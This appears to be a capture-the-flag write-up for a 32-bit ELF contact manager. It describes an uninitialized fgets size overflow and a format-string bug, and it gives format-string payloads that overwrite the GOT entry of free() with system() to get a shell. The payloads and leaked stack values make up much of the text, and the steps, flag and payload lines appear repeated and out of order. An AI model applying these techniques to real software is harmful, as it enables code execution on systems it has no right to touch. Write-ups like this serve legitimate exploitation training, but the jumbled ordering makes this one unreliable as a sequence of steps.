This again is a 32-bit ELF. The binary maintain user contacts as 80 byte records as part of bss memory, starting from address 0804B0A0. It is possible to save maximum of 10 contacts. This is what the structure looks like
Exploit details:
[*] Trigger info leak using format string
[*] Delete the contact, this will call system("/bin/sh"), instead of free("/bin/sh")
Flag for the challenge is flag{f0rm47_s7r1ng5_4r3_fun_57uff}
First vulnerability resides in edit contact feature, where size parameter of fgets seems to be uninitialized and taking large value. This can overflow into adjacent structures in bss memory.
struct contact {
char *description;
char *phonenumber;
char name[64];
int desc_size;
int inuse;
};
.text:08048A4E mov edx, ds:stdin
.text:08048A54 mov eax, [ebp+size]
.text:08048A57 mov ecx, [ebp+contact]
.text:08048A5A add ecx, 8
.text:08048A5D mov [esp+8], edx ; stream
.text:08048A61 mov [esp+4], eax ; n
.text:08048A65 mov [esp], ecx ; s
.text:08048A68 call _fgets
Next bug is a format string vulnerability in display contact feature:
printf("New name: ");
fgets(contact->name, size, stdin);
Now lets use format string vulnerability to get code execution. Remember, there is not much control of data placed in stack. So we need to find ways to place necessary pointers in stack and use the format string vulnerabilty to perform arbitrary memory overwrite.
is_inuse = contact->inuse;
if (is_inuse)
PrintDetails(contact->name, contact->desc_size, contact->phonenumber, contact->description);
int PrintDetails(char *name, int size, char *phonenumber, char *description)
{
printf("\tName: %s\n", name);
printf("\tLength %u\n", size);
printf("\tPhone #: %s\n", phonenumber);
printf("\tDescription: ");
printf(description);
}
Exploit details:
[*] Trigger info leak using format string
[*] At index 6$ and 18$, resides two saved EBP pointers. Use these pointers to write GOT address of free() into stack
804c008.f7e543a1.f7fb1000.0.0.ffffcc48.8048c99.804b0a8.7d0.804c008.804c018.f7fb1ac0.8048ed6.804b0a0.0.0.f7fb1000.ffffcc78.80487a2.804b0a0.ffffcc68.50
[*] Read the GOT entry of free, to leak libc address
GOT address of free = 0x0804b014
>>> 0xb014
45076
>>> 0x0804
2052
FRAME0EBP FRAME1EBP+0 ---> GOT_FREE # write 2 LSB bytes of GOT
payload = '%.' + str(45076) + 'u%18$hn'
FRAME0EBP-->FRAME1EBP+2 # update FRAME1EBP address using FRAME0EBP
address = (FRAME1EBP+2) & 0xFFFF
payload = '%.' + str(address) + 'u%6$hn'
FRAME0EBP FRAME1EBP+2 ---> GOT_FREE # write 2 MSB bytes of GOT
payload = '%.' + str(2052) + 'u%18$hn'
[*] Then overwrite GOT of free with address to system
payload = "%30$s"
Update GOT address in stack to point to MSB bytes
# writes 2 LSB bytes of address
system = (libc_base_address + system_offset) & 0xFFFF
payload = '%.' + str(system) + 'u%30$hn'
payload = '%.' + str(45078) + 'u%18$hn'
[*] Create a contact with /bin/sh\x00 as description
# writes 2 MSB bytes of address
system = ((libc_base_address + system_offset) & 0xffff0000) >> 16
payload = '%.' + str(system) + 'u%30$hn'
[*] Delete the contact, this will call system("/bin/sh"), instead of free("/bin/sh")
Flag for the challenge is flag{f0rm47_s7r1ng5_4r3_fun_57uff}